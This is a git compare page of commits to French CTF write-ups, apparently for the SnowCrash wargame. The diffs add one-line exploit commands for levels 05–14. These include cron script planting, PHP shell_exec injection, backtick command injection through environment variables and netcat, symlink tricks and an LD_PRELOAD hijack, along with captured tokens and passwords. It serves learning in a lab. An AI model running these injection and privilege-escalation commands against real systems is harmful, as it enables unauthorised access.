Compare commits

...

10 Commits

Author SHA1 Message Date
Lapin 723eb90403 simplification de la manipulation du token 2021-02-02 19:44:11 +01:00
Lapin 38508a70d7 simplification de manipulation 2021-02-02 19:43:43 +01:00
Lapin 8e67755b5d ajout d'une precision + faciliter d'execution
Ajout du changement de droit pour l'execution du fichier
+ Comande e une ligne pour cree et changer les droit du fichier
2021-02-02 18:51:35 +01:00
Lapin b507af7eef ajout d'un autre solution avec le compte flag11 2021-02-02 18:42:42 +01:00
Lapin 9b2ea386c7 fix d'un path + 2 eme soltion pour le level11 2021-02-02 18:38:45 +01:00
Lapin 4013e778bc Amelioration lisibiliter solution 2021-02-02 18:38:07 +01:00
Lapin 0cc1100c74 petite refacto
Supression d'un dossier inutile
Changement d'un path dans le solution qui du coup etait faux
2021-02-02 18:07:51 +01:00
Lapin 554cd0a9c1 mise en page
Amelioration de la lisibiliter de la solution. (ajout d'un $)
2021-02-02 17:55:57 +01:00
Lapin 778ecf386d legere amelioration
simplification de l'utilisation de l'exploit
2021-02-02 17:52:29 +01:00
Lapin 07f4325c5a petite amelioreation d'usage
creation du fichier a exploiter en une ligne de commande avec echo.
2021-02-02 17:47:35 +01:00
10 changed files with 49 additions and 20 deletions

View File

@ -6,7 +6,11 @@ On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ p
En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer
il suffit d'avoir un fichier qui contient:
getflag > /tmp/flag05
il suffit d'avoir un fichier qui contient: getflag > /tmp/flag05
il sera alors execute et on pourra recuperer le flag dans /tmp/flag05
$ echo -e '#!/bin/bash \x0a getflag > /tmp/.flag05 ' > /opt/openarenaserver/exploit_05
puis au bout de 1 minutes:
$ cat /tmp/.flag05
il sera alors execute et on pourra recuperer le flag dans /tmp/.flag05

View File

@ -13,8 +13,9 @@ on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il su
shell_exec(getflag)
dans la regex
il faut un ficher avec
[x {${shell_exec(getflag)}}]
il faut un ficher avec: [x {${shell_exec(getflag)}}]
puis rentrer ce fichier en argument du binaire level06
$ echo '[x {${shell_exec(getflag)}}]' > /tmp/exploit06 && ./level06 /tmp/exploit06

View File

@ -17,7 +17,8 @@ sh: 2: Syntax error: ")" unexpected
on rajoute des backslashs
LOGNAME=\`getflag\` ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
$ LOGNAME=\`getflag\` ./level07
> Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
Cela marche

View File

@ -5,8 +5,8 @@ alors le programme s'arrete.
Il faut trouver un moyen de renommer token mais nous n'avons pas les droits dessus,
par contre nous pouvons creer un lien symbolique qui ne contient pas le mot token
ln -s $PWD/token /tmp/test
./level08 /tmp/test
$ ln -s $PWD/token /tmp/test
$ ./level08 /tmp/test
le token s'affiche : quif5eloekouj29ke0vouxean

View File

@ -27,7 +27,8 @@ Il faut juste enlever la premier virgule pour pouvoir initialiser un tableau sta
On a fait un fichier en C qui precede a appliquer l'inverse de la roation incrementale
$ gcc Ressource/decode.c && ./a.out
# sur notre machine:
$ gcc Ressources/decode.c && ./a.out
> f3iji1ju5yuevaus41q1afiuq<75>
le dernier charactere corespond au "\n"

View File

@ -49,11 +49,12 @@ Le deuxieme va lancer l'executable level10 avec les bon argument
Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat
pour ca on copy les script shell depuis Resource sur la vm:
$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/
$ scp -r -P 4242 level10/Ressources level10@127.0.0.2:/tmp/.level10/
On lance chaque script dans une connection et le tour est jouer
On obtien le mot de passe du compte flag10, qui est egalement le meme que le compte flag11
On peut en deduire que le level11 est optionel... Mais pour le jeux on l'a quand meme realiser
(Oui la derscription de ce level est tres verbeuse)

View File

@ -24,3 +24,7 @@ $ cat /tmp/bingo
> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
BINGO
Si non le mot de passe du compte flag11 est le meme que celui du compte flag10 et c'est:
woupa2yuojeeaaed06riuj63c

View File

@ -8,11 +8,13 @@
# On ne poura donc pas executer de comande en tant que tel.
# mais on peut executer un fichier
# Dans un fichier /tmp/.TOTO ont va mettre le contenu suivant:
# Dans un fichier /tmp/.TOTO avec les droit en execution ont va mettre le contenu suivant:
#!/bin/sh
getflag > /tmp/.flag12
$ echo -e '#!/bin/sh \x0a getflag > /tmp/.flag12' > /tmp/.TOTO && chmod 777 /tmp/.TOTO
# puis on envoie un requet avec des back-quote pour executer le fichier
$ nc -v localhost 4646

View File

@ -3,10 +3,13 @@
# on se place dans un dosier du /tmp
# depuis la vm:
$ mkdir -p /tmp/.level13 && cd /tmp/.level13
# on copie la fonction getuid adapter depuis la session extern:
$ scp -P 4242 level13/Ressources/inject_getuid.c level13@127.0.0.2:/tmp/.level13/
# depuis la vm:
$ gcc -shared -fPIC -o inject_getuid.so inject_getuid.c
#puis:
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
# LD_PRELOAD n'est pas charge, car une securite linux empeche LD_PRELOAD sur les exe qui ne nous appartiennent pas.
@ -15,6 +18,7 @@ $ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
# On copie alors l'executable dans /tmp/.level13
# l'executable nmous appartient on peut donc utiliser LD_PRELOAD
$ cp ~/level13 .
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
> your token is 2A31L79asukciNyi8uppkEuSx

View File

@ -11,7 +11,18 @@ On voit que la derniere chaine de caractere fait 39 caracteres au lieu de 25, on
la mettre dans l'executable, ca segfault. Il faut trouver un moyen de la decouper en 2.
En entrant aaaaaaaaaaaaaaaaaaaaaaaaa comme chaine, on se rend compte que l'algo de decodage
boucle tout les 6 caracteres, alors on rentre les 25 premier caracteres de la chaine de 39
boucle tout les 6 caracteres:
> your token is 13/5-713/5-713/5-713/5-71
Alors on rentre les 25 premier caracteres de la chaine de 39
puis les 14 derniers decales de 1(pour etre aligne aux 6 caracteres) et on concat les resultats.
La chaine source du flag est:
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
On rentrera en premier:
g <t61:|4_|!@IF.-62FH&G~D
puis 1 characeter, CK/Ekrvvdwz?v|, puis 10 charactere. Pour plus de lisibiliter en sortie on entrera, les '-' ne font pas partie du token:
]CK/Ekrvvdwz?v|YaW][_YaW]
Cela marche et nous donne le mot de passe de flag14, qui est egalement le flag.